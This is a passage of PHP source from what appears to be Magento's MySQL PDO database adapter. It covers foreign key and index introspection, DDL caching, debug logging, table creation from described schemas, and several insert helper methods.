$keyList[$indexProp['KEY_NAME']] = $indexProp['COLUMNS_LIST'];
}
return $keyList;
}
/**
* Retrieve Create Table SQL
*
* @param string $tableName
* @param string $schemaName
* @return string
*/
public function getCreateTable($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_CREATE);
if ($ddl === false) {
$sql = 'SHOW CREATE TABLE ' . $this->quoteIdentifier($tableName);
$ddl = $this->raw_fetchRow($sql, 'Create Table');
$this->saveDdlCache($cacheKey, self::DDL_CREATE, $ddl);
}
return $ddl;
}
/**
* Retrieve the foreign keys descriptions for a table.
*
* The return value is an associative array keyed by the UPPERCASE foreign key,
* as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* FK_NAME => string; original foreign key name
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string;
* COLUMN_NAME => string; column name
* REF_SCHEMA_NAME => string; name of reference database or schema
* REF_TABLE_NAME => string; reference table name
* REF_COLUMN_NAME => string; reference column name
* ON_DELETE => string; action type on delete row
* ON_UPDATE => string; action type on update row
*
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getForeignKeys($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_FOREIGN_KEY);
if ($ddl === false) {
$ddl = array();
$createSql = $this->getCreateTable($tableName, $schemaName);
// collect CONSTRAINT
$regExp = '#,\s+CONSTRAINT `([^`]*)` FOREIGN KEY \(`([^`]*)`\) '
. 'REFERENCES (`[^`]*\.)?`([^`]*)` \(`([^`]*)`\)'
. '( ON DELETE (RESTRICT|CASCADE|SET NULL|NO ACTION))?'
. '( ON UPDATE (RESTRICT|CASCADE|SET NULL|NO ACTION))?#';
$matches = array();
preg_match_all($regExp, $createSql, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
$ddl[strtoupper($match[1])] = array(
'FK_NAME' => $match[1],
'SCHEMA_NAME' => $schemaName,
'TABLE_NAME' => $tableName,
'COLUMN_NAME' => $match[2],
'REF_SHEMA_NAME' => isset($match[3]) ? $match[3] : $schemaName,
'REF_TABLE_NAME' => $match[4],
'REF_COLUMN_NAME' => $match[5],
'ON_DELETE' => isset($match[6]) ? $match[7] : '',
'ON_UPDATE' => isset($match[8]) ? $match[9] : ''
);
}
$this->saveDdlCache($cacheKey, self::DDL_FOREIGN_KEY, $ddl);
}
return $ddl;
}
/**
* Retrieve the foreign keys tree for all tables
*
* @return array
*/
public function getForeignKeysTree()
{
$tree = array();
foreach ($this->listTables() as $table) {
foreach($this->getForeignKeys($table) as $key) {
$tree[$table][$key['COLUMN_NAME']] = $key;
}
}
return $tree;
}
/**
* Modify tables, used for upgrade process
* Change columns definitions, reset foreign keys, change tables comments and engines.
*
* The value of each array element is an associative array
* with the following keys:
*
* columns => array; list of columns definitions
* comment => string; table comment
* engine => string; table engine
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function modifyTables($tables)
{
$foreignKeys = $this->getForeignKeysTree();
foreach ($tables as $table => $tableData) {
if (!$this->isTableExists($table)) {
continue;
}
foreach ($tableData['columns'] as $column =>$columnDefinition) {
if (!$this->tableColumnExists($table, $column)) {
continue;
}
$droppedKeys = array();
foreach($foreignKeys as $keyTable => $columns) {
foreach($columns as $columnName => $keyOptions) {
if ($table == $keyOptions['REF_TABLE_NAME'] && $column == $keyOptions['REF_COLUMN_NAME']) {
$this->dropForeignKey($keyTable, $keyOptions['FK_NAME']);
$droppedKeys[] = $keyOptions;
}
}
}
$this->modifyColumn($table, $column, $columnDefinition);
foreach ($droppedKeys as $options) {
unset($columnDefinition['identity'], $columnDefinition['primary'], $columnDefinition['comment']);
$onDelete = $options['ON_DELETE'];
$onUpdate = $options['ON_UPDATE'];
if ($onDelete == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL
|| $onUpdate == Varien_Db_Adapter_Interface::FK_ACTION_SET_NULL) {
$columnDefinition['nullable'] = true;
}
$this->modifyColumn($options['TABLE_NAME'], $options['COLUMN_NAME'], $columnDefinition);
$this->addForeignKey(
$options['FK_NAME'],
$options['TABLE_NAME'],
$options['COLUMN_NAME'],
$options['REF_TABLE_NAME'],
$options['REF_COLUMN_NAME'],
($onDelete) ? $onDelete : Varien_Db_Adapter_Interface::FK_ACTION_NO_ACTION,
($onUpdate) ? $onUpdate : Varien_Db_Adapter_Interface::FK_ACTION_NO_ACTION
);
}
}
if (!empty($tableData['comment'])) {
$this->changeTableComment($table, $tableData['comment']);
}
if (!empty($tableData['engine'])) {
$this->changeTableEngine($table, $tableData['engine']);
}
}
return $this;
}
/**
* Retrieve table index information
*
* The return value is an associative array keyed by the UPPERCASE index key (except for primary key,
* that is always stored under 'PRIMARY' key) as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string; name of the table
* KEY_NAME => string; the original index name
* COLUMNS_LIST => array; array of index column names
* INDEX_TYPE => string; lowercase, create index type
* INDEX_METHOD => string; index method using
* type => string; see INDEX_TYPE
* fields => array; see COLUMNS_LIST
*
* @param string $tableName
* @param string $schemaName
* @return array
*/
public function getIndexList($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_INDEX);
if ($ddl === false) {
$ddl = array();
$sql = sprintf('SHOW INDEX FROM %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)));
foreach ($this->fetchAll($sql) as $row) {
$fieldKeyName = 'Key_name';
$fieldNonUnique = 'Non_unique';
$fieldColumn = 'Column_name';
$fieldIndexType = 'Index_type';
if (strtolower($row[$fieldKeyName]) == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY;
} elseif ($row[$fieldNonUnique] == 0) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE;
} elseif (strtolower($row[$fieldIndexType]) == Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT) {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT;
} else {
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX;
}
$upperKeyName = strtoupper($row[$fieldKeyName]);
if (isset($ddl[$upperKeyName])) {
$ddl[$upperKeyName]['fields'][] = $row[$fieldColumn]; // for compatible
$ddl[$upperKeyName]['COLUMNS_LIST'][] = $row[$fieldColumn];
} else {
$ddl[$upperKeyName] = array(
'SCHEMA_NAME' => $schemaName,
'TABLE_NAME' => $tableName,
'KEY_NAME' => $row[$fieldKeyName],
'COLUMNS_LIST' => array($row[$fieldColumn]),
'INDEX_TYPE' => $indexType,
'INDEX_METHOD' => $row[$fieldIndexType],
'type' => strtolower($indexType), // for compatibility
'fields' => array($row[$fieldColumn]) // for compatibility
);
}
}
$this->saveDdlCache($cacheKey, self::DDL_INDEX, $ddl);
}
return $ddl;
}
/**
* Add Index Key
*
* @deprecated since 1.5.0.0
* @param string $tableName
* @param string $indexName
* @param string|array $fields
* @param string $indexType
* @param string $schemaName
* @return Zend_Db_Statement_Interface
*/
public function addKey($tableName, $indexName, $fields, $indexType = 'index', $schemaName = null)
{
return $this->addIndex($tableName, $indexName, $fields, $indexType, $schemaName);
}
/**
* Remove duplicate entry for create key
*
* @param string $table
* @param array $fields
* @param array $ids
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _removeDuplicateEntry($table, $fields, $ids)
{
$where = array();
$i = 0;
foreach ($fields as $field) {
$where[] = $this->quoteInto($field . '=?', $ids[$i++]);
}
if (!$where) {
return $this;
}
$whereCond = implode(' AND ', $where);
$sql = sprintf('SELECT COUNT(*) as `cnt` FROM `%s` WHERE %s', $table, $whereCond);
$cnt = $this->raw_fetchRow($sql, 'cnt');
if ($cnt > 1) {
$sql = sprintf('DELETE FROM `%s` WHERE %s LIMIT %d',
$table,
$whereCond,
$cnt - 1
);
$this->raw_query($sql);
}
return $this;
}
/**
* Creates and returns a new Zend_Db_Select object for this adapter.
*
* @return Varien_Db_Select
*/
public function select()
{
return new Varien_Db_Select($this);
}
/**
* Start debug timer
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _debugTimer()
{
if ($this->_debug) {
$this->_debugTimer = microtime(true);
}
return $this;
}
/**
* Logging debug information
*
* @param int $type
* @param string $sql
* @param array $bind
* @param Zend_Db_Statement_Pdo $result
* @return Varien_Db_Adapter_Pdo_Mysql
*/
protected function _debugStat($type, $sql, $bind = array(), $result = null)
{
if (!$this->_debug) {
return $this;
}
$code = '## ' . getmypid() . ' ## ';
$nl = "\n";
$time = sprintf('%.4f', microtime(true) - $this->_debugTimer);
if (!$this->_logAllQueries && $time < $this->_logQueryTime) {
return $this;
}
switch ($type) {
case self::DEBUG_CONNECT:
$code .= 'CONNECT' . $nl;
break;
case self::DEBUG_TRANSACTION:
$code .= 'TRANSACTION ' . $sql . $nl;
break;
case self::DEBUG_QUERY:
$code .= 'QUERY' . $nl;
$code .= 'SQL: ' . $sql . $nl;
if ($bind) {
$code .= 'BIND: ' . var_export($bind, true) . $nl;
}
if ($result instanceof Zend_Db_Statement_Pdo) {
$code .= 'AFF: ' . $result->rowCount() . $nl;
}
break;
}
$code .= 'TIME: ' . $time . $nl;
if ($this->_logCallStack) {
$code .= 'TRACE: ' . Varien_Debug::backtrace(true, false) . $nl;
}
$code .= $nl;
$this->_debugWriteToFile($code);
return $this;
}
/**
* Write exception and thow
*
* @param Exception $e
* @throws Exception
*/
protected function _debugException(Exception $e)
{
if (!$this->_debug) {
throw $e;
}
$nl = "\n";
$code = 'EXCEPTION ' . $nl . $e . $nl . $nl;
$this->_debugWriteToFile($code);
throw $e;
}
/**
* Debug write to file process
*
* @param string $str
*/
protected function _debugWriteToFile($str)
{
$str = '## ' . date('Y-m-d H:i:s') . "\r\n" . $str;
if (!$this->_debugIoAdapter) {
$this->_debugIoAdapter = new Varien_Io_File();
$dir = Mage::getBaseDir() . DS . $this->_debugIoAdapter->dirname($this->_debugFile);
$this->_debugIoAdapter->checkAndCreateFolder($dir);
$this->_debugIoAdapter->open(array('path' => $dir));
$this->_debugFile = basename($this->_debugFile);
}
$this->_debugIoAdapter->streamOpen($this->_debugFile, 'a');
$this->_debugIoAdapter->streamLock();
$this->_debugIoAdapter->streamWrite($str);
$this->_debugIoAdapter->streamUnlock();
$this->_debugIoAdapter->streamClose();
}
/**
* Quotes a value and places into a piece of text at a placeholder.
*
* Method revrited for handle empty arrays in value param
*
* @param string $text The text with a placeholder.
* @param mixed $value The value to quote.
* @param string $type OPTIONAL SQL datatype
* @param integer $count OPTIONAL count of placeholders to replace
* @return string An SQL-safe quoted value placed into the orignal text.
*/
public function quoteInto($text, $value, $type = null, $count = null)
{
if (is_array($value) && empty($value)) {
$value = new Zend_Db_Expr('NULL');
}
return parent::quoteInto($text, $value, $type, $count);
}
/**
* Retrieve ddl cache name
*
* @param string $tableName
* @param string $schemaName
*/
protected function _getTableName($tableName, $schemaName = null)
{
return ($schemaName ? $schemaName . '.' : '') . $tableName;
}
/**
* Retrieve Id for cache
*
* @param string $tableKey
* @param int $ddlType
* @return string
*/
protected function _getCacheId($tableKey, $ddlType)
{
return sprintf('%s_%s_%s', self::DDL_CACHE_PREFIX, $tableKey, $ddlType);
}
/**
* Load DDL data from cache
* Return false if cache does not exists
*
* @param string $tableCacheKey the table cache key
* @param int $ddlType the DDL constant
* @return string|array|int|false
*/
public function loadDdlCache($tableCacheKey, $ddlType)
{
if (!$this->_isDdlCacheAllowed) {
return false;
}
if (isset($this->_ddlCache[$ddlType][$tableCacheKey])) {
return $this->_ddlCache[$ddlType][$tableCacheKey];
}
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$cacheId = $this->_getCacheId($tableCacheKey, $ddlType);
$data = $this->_cacheAdapter->load($cacheId);
if ($data !== false) {
$data = unserialize($data);
$this->_ddlCache[$ddlType][$tableCacheKey] = $data;
}
return $data;
}
return false;
}
/**
* Save DDL data into cache
*
* @param string $tableCacheKey
* @param int $ddlType
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function saveDdlCache($tableCacheKey, $ddlType, $data)
{
if (!$this->_isDdlCacheAllowed) {
return $this;
}
$this->_ddlCache[$ddlType][$tableCacheKey] = $data;
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$cacheId = $this->_getCacheId($tableCacheKey, $ddlType);
$data = serialize($data);
$this->_cacheAdapter->save($data, $cacheId, array(self::DDL_CACHE_TAG));
}
return $this;
}
/**
* Reset cached DDL data from cache
* if table name is null - reset all cached DDL data
*
* @param string $tableName
* @param string $schemaName OPTIONAL
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function resetDdlCache($tableName = null, $schemaName = null)
{
if (!$this->_isDdlCacheAllowed) {
return $this;
}
if ($tableName === null) {
$this->_ddlCache = array();
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
$this->_cacheAdapter->clean(Zend_Cache::CLEANING_MODE_MATCHING_TAG, array(self::DDL_CACHE_TAG));
}
} else {
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddlTypes = array(self::DDL_DESCRIBE, self::DDL_CREATE, self::DDL_INDEX, self::DDL_FOREIGN_KEY);
foreach ($ddlTypes as $ddlType) {
unset($this->_ddlCache[$ddlType][$cacheKey]);
}
if ($this->_cacheAdapter instanceof Zend_Cache_Core) {
foreach ($ddlTypes as $ddlType) {
$cacheId = $this->_getCacheId($cacheKey, $ddlType);
$this->_cacheAdapter->remove($cacheId);
}
}
}
return $this;
}
/**
* Disallow DDL caching
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function disallowDdlCache()
{
$this->_isDdlCacheAllowed = false;
return $this;
}
/**
* Allow DDL caching
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function allowDdlCache()
{
$this->_isDdlCacheAllowed = true;
return $this;
}
/**
* Decorate a table info by detecting and parsing the binary/varbinary fields
* @param $tableColumnInfo
*
* @return mixed
*/
public function decorateTableInfo($tableColumnInfo)
{
$matches = array();
if (preg_match('/^((?:var)?binary)\((\d+)\)/', $tableColumnInfo['DATA_TYPE'], $matches)) {
list ($fieldFullDescription, $fieldType, $fieldLength) = $matches;
$tableColumnInfo['DATA_TYPE'] = $fieldType;
$tableColumnInfo['LENGTH'] = $fieldLength;
}
return $tableColumnInfo;
}
/**
* Returns the column descriptions for a table.
*
* The return value is an associative array keyed by the column name,
* as returned by the RDBMS.
*
* The value of each array element is an associative array
* with the following keys:
*
* SCHEMA_NAME => string; name of database or schema
* TABLE_NAME => string;
* COLUMN_NAME => string; column name
* COLUMN_POSITION => number; ordinal position of column in table
* DATA_TYPE => string; SQL datatype name of column
* DEFAULT => string; default expression of column, null if none
* NULLABLE => boolean; true if column can have nulls
* LENGTH => number; length of CHAR/VARCHAR
* SCALE => number; scale of NUMERIC/DECIMAL
* PRECISION => number; precision of NUMERIC/DECIMAL
* UNSIGNED => boolean; unsigned property of an integer type
* PRIMARY => boolean; true if column is part of the primary key
* PRIMARY_POSITION => integer; position of column in primary key
* IDENTITY => integer; true if column is auto-generated with unique values
*
* @param string $tableName
* @param string $schemaName OPTIONAL
* @return array
*/
public function describeTable($tableName, $schemaName = null)
{
$cacheKey = $this->_getTableName($tableName, $schemaName);
$ddl = $this->loadDdlCache($cacheKey, self::DDL_DESCRIBE);
if ($ddl === false) {
$ddl = array_map(
array(
$this,
'decorateTableInfo'
),
parent::describeTable($tableName, $schemaName)
);
/**
* Remove bug in some MySQL versions, when int-column without default value is described as:
* having default empty string value
*/
$affected = array('tinyint', 'smallint', 'mediumint', 'int', 'bigint');
foreach ($ddl as $key => $columnData) {
if (($columnData['DEFAULT'] === '') && (array_search($columnData['DATA_TYPE'], $affected) !== FALSE)) {
$ddl[$key]['DEFAULT'] = null;
}
}
$this->saveDdlCache($cacheKey, self::DDL_DESCRIBE, $ddl);
}
return $ddl;
}
/**
* Format described column to definition, ready to be added to ddl table.
* Return array with keys: name, type, length, options, comment
*
* @param array $columnData
* @return array
*/
public function getColumnCreateByDescribe($columnData)
{
$type = $this->_getColumnTypeByDdl($columnData);
$options = array();
if ($columnData['IDENTITY'] === true) {
$options['identity'] = true;
}
if ($columnData['UNSIGNED'] === true) {
$options['unsigned'] = true;
}
if ($columnData['NULLABLE'] === false
&& !($type == Varien_Db_Ddl_Table::TYPE_TEXT && strlen($columnData['DEFAULT']) != 0)
) {
$options['nullable'] = false;
}
if ($columnData['PRIMARY'] === true) {
$options['primary'] = true;
}
if (!is_null($columnData['DEFAULT'])
&& $type != Varien_Db_Ddl_Table::TYPE_TEXT
) {
$options['default'] = $this->quote($columnData['DEFAULT']);
}
if (strlen($columnData['SCALE']) > 0) {
$options['scale'] = $columnData['SCALE'];
}
if (strlen($columnData['PRECISION']) > 0) {
$options['precision'] = $columnData['PRECISION'];
}
$comment = uc_words($columnData['COLUMN_NAME'], ' ');
$result = array(
'name' => $columnData['COLUMN_NAME'],
'type' => $type,
'length' => $columnData['LENGTH'],
'options' => $options,
'comment' => $comment
);
return $result;
}
/**
* Create Varien_Db_Ddl_Table object by data from describe table
*
* @param $tableName
* @param $newTableName
* @return Varien_Db_Ddl_Table
*/
public function createTableByDdl($tableName, $newTableName)
{
$describe = $this->describeTable($tableName);
$table = $this->newTable($newTableName)
->setComment(uc_words($newTableName, ' '));
foreach ($describe as $columnData) {
$columnInfo = $this->getColumnCreateByDescribe($columnData);
$table->addColumn(
$columnInfo['name'],
$columnInfo['type'],
$columnInfo['length'],
$columnInfo['options'],
$columnInfo['comment']
);
}
$indexes = $this->getIndexList($tableName);
foreach ($indexes as $indexData) {
/**
* Do not create primary index - it is created with identity column.
* For reliability check both name and type, because these values can start to differ in future.
*/
if (($indexData['KEY_NAME'] == 'PRIMARY')
|| ($indexData['INDEX_TYPE'] == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY)
) {
continue;
}
$fields = $indexData['COLUMNS_LIST'];
$options = array('type' => $indexData['INDEX_TYPE']);
$table->addIndex($this->getIndexName($newTableName, $fields, $indexData['INDEX_TYPE']), $fields, $options);
}
$foreignKeys = $this->getForeignKeys($tableName);
foreach ($foreignKeys as $keyData) {
$fkName = $this->getForeignKeyName(
$newTableName, $keyData['COLUMN_NAME'], $keyData['REF_TABLE_NAME'], $keyData['REF_COLUMN_NAME']
);
$onDelete = $this->_getDdlAction($keyData['ON_DELETE']);
$onUpdate = $this->_getDdlAction($keyData['ON_UPDATE']);
$table->addForeignKey(
$fkName, $keyData['COLUMN_NAME'], $keyData['REF_TABLE_NAME'],
$keyData['REF_COLUMN_NAME'], $onDelete, $onUpdate
);
}
// Set additional options
$tableData = $this->showTableStatus($tableName);
$table->setOption('type', $tableData['Engine']);
return $table;
}
/**
* Modify the column definition by data from describe table
*
* @param string $tableName
* @param string $columnName
* @param array $definition
* @param boolean $flushData
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function modifyColumnByDdl($tableName, $columnName, $definition, $flushData = false, $schemaName = null)
{
$definition = array_change_key_case($definition, CASE_UPPER);
$definition['COLUMN_TYPE'] = $this->_getColumnTypeByDdl($definition);
if (array_key_exists('DEFAULT', $definition) && is_null($definition['DEFAULT'])) {
unset($definition['DEFAULT']);
}
return $this->modifyColumn($tableName, $columnName, $definition, $flushData, $schemaName);
}
/**
* Retrieve column data type by data from describe table
*
* @param array $column
* @return string
*/
protected function _getColumnTypeByDdl($column)
{
switch ($column['DATA_TYPE']) {
case 'bool':
return Varien_Db_Ddl_Table::TYPE_BOOLEAN;
case 'tinytext':
case 'char':
case 'varchar':
case 'text':
case 'mediumtext':
case 'longtext':
return Varien_Db_Ddl_Table::TYPE_TEXT;
case 'blob':
case 'mediumblob':
case 'longblob':
return Varien_Db_Ddl_Table::TYPE_BLOB;
case 'tinyint':
case 'smallint':
return Varien_Db_Ddl_Table::TYPE_SMALLINT;
case 'mediumint':
case 'int':
return Varien_Db_Ddl_Table::TYPE_INTEGER;
case 'bigint':
return Varien_Db_Ddl_Table::TYPE_BIGINT;
case 'datetime':
return Varien_Db_Ddl_Table::TYPE_DATETIME;
case 'timestamp':
return Varien_Db_Ddl_Table::TYPE_TIMESTAMP;
case 'date':
return Varien_Db_Ddl_Table::TYPE_DATE;
case 'float':
return Varien_Db_Ddl_Table::TYPE_FLOAT;
case 'decimal':
case 'numeric':
return Varien_Db_Ddl_Table::TYPE_DECIMAL;
case 'varbinary':
return Varien_Db_Ddl_Table::TYPE_VARBINARY;
break;
}
}
/**
* Truncate table
*
* @deprecated since 1.4.0.1
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function truncate($tableName, $schemaName = null)
{
return $this->truncateTable($tableName, $schemaName);
}
/**
* Change table storage engine
*
* @param string $tableName
* @param string $engine
* @param string $schemaName
* @return mixed
*/
public function changeTableEngine($tableName, $engine, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf('ALTER TABLE %s ENGINE=%s', $table, $engine);
return $this->raw_query($sql);
}
/**
* Change table comment
*
* @param string $tableName
* @param string $comment
* @param string $schemaName
* @return mixed
*/
public function changeTableComment($tableName, $comment, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf("ALTER TABLE %s COMMENT='%s'", $table, $comment);
return $this->raw_query($sql);
}
/**
* Change table auto increment value
*
* @param string $tableName
* @param string $increment
* @param null|string $schemaName
* @return Zend_Db_Statement_Interface
*/
public function changeTableAutoIncrement($tableName, $increment, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$sql = sprintf('ALTER TABLE %s AUTO_INCREMENT=%d', $table, $increment);
return $this->raw_query($sql);
}
/**
* Inserts a table row with specified data
* Special for Zero values to identity column
*
* @param string $table
* @param array $bind
* @return int The number of affected rows.
*/
public function insertForce($table, array $bind)
{
$this->raw_query("SET @OLD_INSERT_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'");
$result = $this->insert($table, $bind);
$this->raw_query("SET SQL_MODE=IFNULL(@OLD_INSERT_SQL_MODE,'')");
return $result;
}
/**
* Inserts a table row with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $data Column-value pairs or array of column-value pairs.
* @param array $fields update fields pairs or values
* @return int The number of affected rows.
* @throws Zend_Db_Exception
*/
public function insertOnDuplicate($table, array $data, array $fields = array())
{
// extract and quote col names from the array keys
$row = reset($data); // get first element from data array
$bind = array(); // SQL bind array
$values = array();
if (is_array($row)) { // Array of column-value pairs
$cols = array_keys($row);
foreach ($data as $row) {
if (array_diff($cols, array_keys($row))) {
throw new Zend_Db_Exception('Invalid data for insert');
}
$values[] = $this->_prepareInsertData($row, $bind);
}
unset($row);
} else { // Column-value pairs
$cols = array_keys($data);
$values[] = $this->_prepareInsertData($data, $bind);
}
$updateFields = array();
if (empty($fields)) {
$fields = $cols;
}
// quote column names
// $cols = array_map(array($this, 'quoteIdentifier'), $cols);
// prepare ON DUPLICATE KEY conditions
foreach ($fields as $k => $v) {
$field = $value = null;
if (!is_numeric($k)) {
$field = $this->quoteIdentifier($k);
if ($v instanceof Zend_Db_Expr) {
$value = $v->__toString();
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
} elseif (is_numeric($v)) {
$value = $this->quoteInto('?', $v);
}
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
$field = $this->quoteIdentifier($v);
}
if ($field && $value) {
$updateFields[] = sprintf('%s = %s', $field, $value);
}
}
$insertSql = $this->_getInsertSqlQuery($table, $cols, $values);
if ($updateFields) {
$insertSql .= ' ON DUPLICATE KEY UPDATE ' . implode(', ', $updateFields);
}
// execute the statement and return the number of affected rows
$stmt = $this->query($insertSql, array_values($bind));
$result = $stmt->rowCount();
return $result;
}
/**
* Inserts a table multiply rows with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $data Column-value pairs or array of Column-value pairs.
* @return int The number of affected rows.
* @throws Zend_Db_Exception
*/
public function insertMultiple($table, array $data)
{
$row = reset($data);
// support insert syntaxes
if (!is_array($row)) {
return $this->insert($table, $data);
}
// validate data array
$cols = array_keys($row);
$insertArray = array();
foreach ($data as $row) {
$line = array();
if (array_diff($cols, array_keys($row))) {
throw new Zend_Db_Exception('Invalid data for insert');
}
foreach ($cols as $field) {
$line[] = $row[$field];
}
$insertArray[] = $line;
}
unset($row);
return $this->insertArray($table, $cols, $insertArray);
}
/**
* Insert array to table based on columns definition
*
* @param string $table
* @param array $columns
* @param array $data
* @return int
* @throws Zend_Db_Exception
*/
public function insertArray($table, array $columns, array $data)
{
$values = array();
$bind = array();
$columnsCount = count($columns);
foreach ($data as $row) {
if ($columnsCount != count($row)) {
throw new Zend_Db_Exception('Invalid data for insert');
}
$values[] = $this->_prepareInsertData($row, $bind);
}
$insertQuery = $this->_getInsertSqlQuery($table, $columns, $values);
// execute the statement and return the number of affected rows
$stmt = $this->query($insertQuery, $bind);
$result = $stmt->rowCount();
return $result;
}
/**
* Inserts a table row with specified data.
*
* @param mixed $table The table to insert data into.
* @param array $bind Column-value pairs.
* @return int The number of affected rows.
* @throws Zend_Db_Adapter_Exception
*/
public function insertIgnore($table, array $bind)
{
// extract and quote col names from the array keys
$cols = array();
$vals = array();
$i = 0;
foreach ($bind as $col => $val) {
$cols[] = $this->quoteIdentifier($col, true);
if ($val instanceof Zend_Db_Expr) {
$vals[] = $val->__toString();
unset($bind[$col]);
} else {
if ($this->supportsParameters('positional')) {
$vals[] = '?';
} else {
if ($this->supportsParameters('named')) {
unset($bind[$col]);
$bind[':col'.$i] = $val;
$vals[] = ':col'.$i;
$i++;
} else {
/** @see Zend_Db_Adapter_Exception */
#require_once 'Zend/Db/Adapter/Exception.php';
throw new Zend_Db_Adapter_Exception(
get_class($this) ." doesn't support positional or named binding"
);
}
}
}
}
// build the statement
$sql = "INSERT IGNORE INTO "
. $this->quoteIdentifier($table, true)
. ' (' . implode(', ', $cols) . ') '
. 'VALUES (' . implode(', ', $vals) . ')';
// execute the statement and return the number of affected rows
if ($this->supportsParameters('positional')) {
$bind = array_values($bind);
}
$stmt = $this->query($sql, $bind);
$result = $stmt->rowCount();
return $result;
}
/**
* Set cache adapter
*
* @param Zend_Cache_Backend_Interface $adapter
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function setCacheAdapter($adapter)
{
$this->_cacheAdapter = $adapter;
return $this;
}
/**
* Return new DDL Table object
*
* @param string $tableName the table name
* @param string $schemaName the database/schema name
* @return Varien_Db_Ddl_Table
*/
public function newTable($tableName = null, $schemaName = null)
{
$table = new Varien_Db_Ddl_Table();
if ($tableName !== null) {
$table->setName($tableName);
}
if ($schemaName !== null) {
$table->setSchema($schemaName);
}
return $table;
}
/**
* Create table
*
* @param Varien_Db_Ddl_Table $table
* @throws Zend_Db_Exception
* @return Zend_Db_Pdo_Statement
*/
public function createTable(Varien_Db_Ddl_Table $table)
{
$columns = $table->getColumns();
foreach ($columns as $columnEntry) {
if (empty($columnEntry['COMMENT'])) {
throw new Zend_Db_Exception("Cannot create table without columns comments");
}
}
$sqlFragment = array_merge(
$this->_getColumnsDefinition($table),
$this->_getIndexesDefinition($table),
$this->_getForeignKeysDefinition($table)
);
$tableOptions = $this->_getOptionsDefinition($table);
$sql = sprintf("CREATE TABLE %s (\n%s\n) %s",
$this->quoteIdentifier($table->getName()),
implode(",\n", $sqlFragment),
implode(" ", $tableOptions));
return $this->query($sql);
}
/**
* Create temporary table
*
* @param Varien_Db_Ddl_Table $table
* @throws Zend_Db_Exception
* @return Zend_Db_Pdo_Statement
*/
public function createTemporaryTable(Varien_Db_Ddl_Table $table)
{
$sqlFragment = array_merge(
$this->_getColumnsDefinition($table),
$this->_getIndexesDefinition($table),
$this->_getForeignKeysDefinition($table)
);
$tableOptions = $this->_getOptionsDefinition($table);
$sql = sprintf("CREATE TEMPORARY TABLE %s (\n%s\n) %s",
$this->quoteIdentifier($table->getName()),
implode(",\n", $sqlFragment),
implode(" ", $tableOptions));
return $this->query($sql);
}
/**
* Retrieve columns and primary keys definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
* @throws Zend_Db_Exception
*/
protected function _getColumnsDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$primary = array();
$columns = $table->getColumns();
if (empty($columns)) {
throw new Zend_Db_Exception('Table columns are not defined');
}
foreach ($columns as $columnData) {
$columnDefinition = $this->_getColumnDefinition($columnData);
if ($columnData['PRIMARY']) {
$primary[$columnData['COLUMN_NAME']] = $columnData['PRIMARY_POSITION'];
}
$definition[] = sprintf(' %s %s',
$this->quoteIdentifier($columnData['COLUMN_NAME']),
$columnDefinition
);
}
// PRIMARY KEY
if (!empty($primary)) {
asort($primary, SORT_NUMERIC);
$primary = array_map(array($this, 'quoteIdentifier'), array_keys($primary));
$definition[] = sprintf(' PRIMARY KEY (%s)', implode(', ', $primary));
}
return $definition;
}
/**
* Retrieve table indexes definition array for create table
*
* @param Varien_Db_Ddl_Table $table
* @return array
*/
protected function _getIndexesDefinition(Varien_Db_Ddl_Table $table)
{
$definition = array();
$indexes = $table->getIndexes();
if (!empty($indexes)) {
foreach ($indexes as $indexData) {
if (!empty($indexData['TYPE'])) {
switch ($indexData['TYPE']) {
case 'primary':
$indexType = 'PRIMARY KEY';
unset($indexData['INDEX_NAME']);
break;
default:
$indexType = strtoupper($indexData['TYPE']);
break;
}
} else {
$indexType = 'KEY';
}
$columns = array();
